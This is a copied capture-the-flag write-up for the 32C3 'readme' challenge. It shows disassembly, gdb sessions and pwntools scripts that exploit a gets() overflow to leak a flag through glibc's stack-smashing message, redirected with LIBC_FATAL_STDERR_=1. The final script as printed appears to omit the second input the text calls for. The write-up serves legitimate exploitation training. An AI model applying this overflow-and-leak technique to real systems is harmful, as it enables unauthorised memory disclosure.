readme - Writeup by Nandy Narwhals

This writeup was not written by pony7. The original version has been written by Nandy Narwhals at

I just copied here the writeup to avoid losing this informative write-up.


Can you read the flag?

nc 1024


Let’s run the binary locally first:

$ ./readme.bin 
What's your name? amon
Nice to meet you, amon.
Please overwrite the flag: AAAA
Thank you, bye!

Looks like we enter input in two places:

  1. When it asks for your name.
  2. When it asks you to overwrite the flag.

Let’s take a look at what’s going on under the hood:

00000000004007e1         mov        esi, 0x400934  ; "Hello!\\nWhat's your name? "
00000000004007e6         mov        edi, 0x1
00000000004007eb         push       rbx
00000000004007ec         sub        rsp, 0x118
00000000004007f3         mov        rax, qword [fs:0x28]
00000000004007fc         mov        qword [ss:rsp+var_20], rax
0000000000400804         xor        eax, eax
0000000000400806         call       j___printf_chk
000000000040080b         mov        rdi, rsp
000000000040080e         call       j__IO_gets
0000000000400813         test       rax, rax
0000000000400816         je         0x40089f

For the name prompt, the standard ‘gets()’ is used. This means we can use the good ol’ buffer overflow right? Well, not quite.

$ ./readme.bin 
Please overwrite the flag: A
Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated
Aborted (core dumped)

If we check what protections are enabled in the binary, we see that the stack canary is present:

gdb-peda$ checksec
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

However, notice that the line ‘* stack smashing detected *’ appears. Sounds suspiciously like a Stack Smashing Protection Infoleak vulnerability. What we have to do is overwrite the arg[0] pointer to point to the flag to leak it. Now, if we look at the binary the flag is actually included in it.

However, it’s not that easy since the flag is overwritten in the second prompt. What the overwrite does is read character by character from the user up to 20 characters or a newline into the flag buffer. If it encounters a newline, it fills the rest of flag buffer with null bytes.

So. that buffer is overwritten, but is the flag still present in memory? The answer is yes, exactly why, I am not sure. It’s probably something to do with ELF mapping and hopefully someone puts up a writeup that explains. I found the other reference through PEDA:

gdb-peda$ find 32C3
Searching for '32C3' in: None ranges
Found 2 results, display max 2 items:
readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...")
readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...")

Now, the 0x600d20 buffer gets overwritten but the 0x400d20 one doesn’t so we’ll use that in our exploit. Next, we need to determine the location of the argv[0] pointer.

gdb-peda$ find /home
Searching for '/home' in: None ranges
Found 7 results, display max 7 items:
[stack] : 0x7fffffffe234 ("/home/amon/ctf/32c3/readme/readme/readme.bin")
[stack] : 0x7fffffffeb21 ("/home/amon/.composer/vendor/bin")
[stack] : 0x7fffffffebd6 ("/home/amon/ctf/32c3/readme/readme")
[stack] : 0x7fffffffed49 ("/home/amon")
[stack] : 0x7fffffffef4a ("/home/amon/.composer")
[stack] : 0x7fffffffefa0 ("/home/amon/.Xauthority")
[stack] : 0x7fffffffefcb ("/home/amon/ctf/32c3/readme/readme/readme.bin")
gdb-peda$ find 0x7fffffffe234
Searching for '0x7fffffffe234' in: None ranges
Found 2 results, display max 2 items:
   libc : 0x7ffff7dd44b8 --> 0x7fffffffe234 ("/home/amon/ctf/32c3/readme/readme/readme.bin")
[stack] : 0x7fffffffde88 --> 0x7fffffffe234 ("/home/amon/ctf/32c3/readme/readme/readme.bin")
gdb-peda$ print $rsp
$1 = (void *) 0x7fffffffdc70
gdb-peda$ print 0x7fffffffde88-0x7fffffffdc70
$2 = 0x218

So, the offset to the pointer is 0x218 (or 536 bytes) from the stack pointer. Let’s test it out. Here is the script to do so:

from pwn import *
context.log_level = "debug"
p = process("./readme.bin")
p.sendline("A"*536 + p64(0x400d20))

Running the script with debug enabled:

$ python 
[+] Started program './readme.bin'
[DEBUG] ...with arguments './readme.bin'
[DEBUG] Sent 0x221 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000210  41 41 41 41  41 41 41 41  22 0d 40 00  00 00 00 00  │AAAA│AAAA│"·@·│····│
    00000220  0a                                                  │·│
[DEBUG] Sent 0xc bytes:
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
[+] Recieving all data: Done (627B)
[DEBUG] Received 0x273 bytes:
    'Please overwrite the flag: Thank you, bye!\n'
[*] Program './readme.bin' stopped with exit code -6

Notice that the flag does get printed but it does not come through the pipe. Instead, it is printed on the current terminal. This means that we need to do something else to exfiltrate that error message over the network when we attack the remote server. If we look online, we can find that there is an environment variable we can set to get that message sent over stderr. But how can we do this? If we look closer at the stack layout:

gdb-peda$ x/16xg 0x7fffffffde88
0x7fffffffde88:	0x00007fffffffe234	0x0000000000000000
0x7fffffffde98:	0x00007fffffffe261	0x00007fffffffe276
0x7fffffffdea8:	0x00007fffffffe281	0x00007fffffffe293
0x7fffffffdeb8:	0x00007fffffffe2aa	0x00007fffffffe2c0
0x7fffffffdec8:	0x00007fffffffe2d8	0x00007fffffffe308
0x7fffffffded8:	0x00007fffffffe317	0x00007fffffffe327
0x7fffffffdee8:	0x00007fffffffe338	0x00007fffffffe34c
0x7fffffffdef8:	0x00007fffffffe363	0x00007fffffffe375
gdb-peda$ x/s 0x00007fffffffe234
0x7fffffffe234:	"/home/amon/ctf/32c3/readme/readme/readme.bin"
gdb-peda$ x/s 0x00007fffffffe261
0x7fffffffe261:	"LC_PAPER=en_SG.UTF-8"
gdb-peda$ x/s 0x00007fffffffe276
0x7fffffffe276: "XDG_VTNR=7"

Notice that after argv, there is a null pointer and then an array of pointers to strings in the environment. We can overwrite one of the pointers with the string “LIBC_FATAL_STDERR_=1”. Where do we put this string? The old flag buffer of course! It’s there for us to write to. So our final exploit:

from pwn import *
p = remote("", 1024)
p.sendline("A"*0x218 + p64(0x400d20) + p64(0) + p64(0x600D20))
print p.recvall()

Running the exploit to get our flag:

$ python 
[+] Opening connection to on port 1024: Done
[+] Recieving all data: Done (701B)
[*] Closed connection to port 1024
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: 32C3_ELF_caN_b3_pre7ty_we!rd... terminated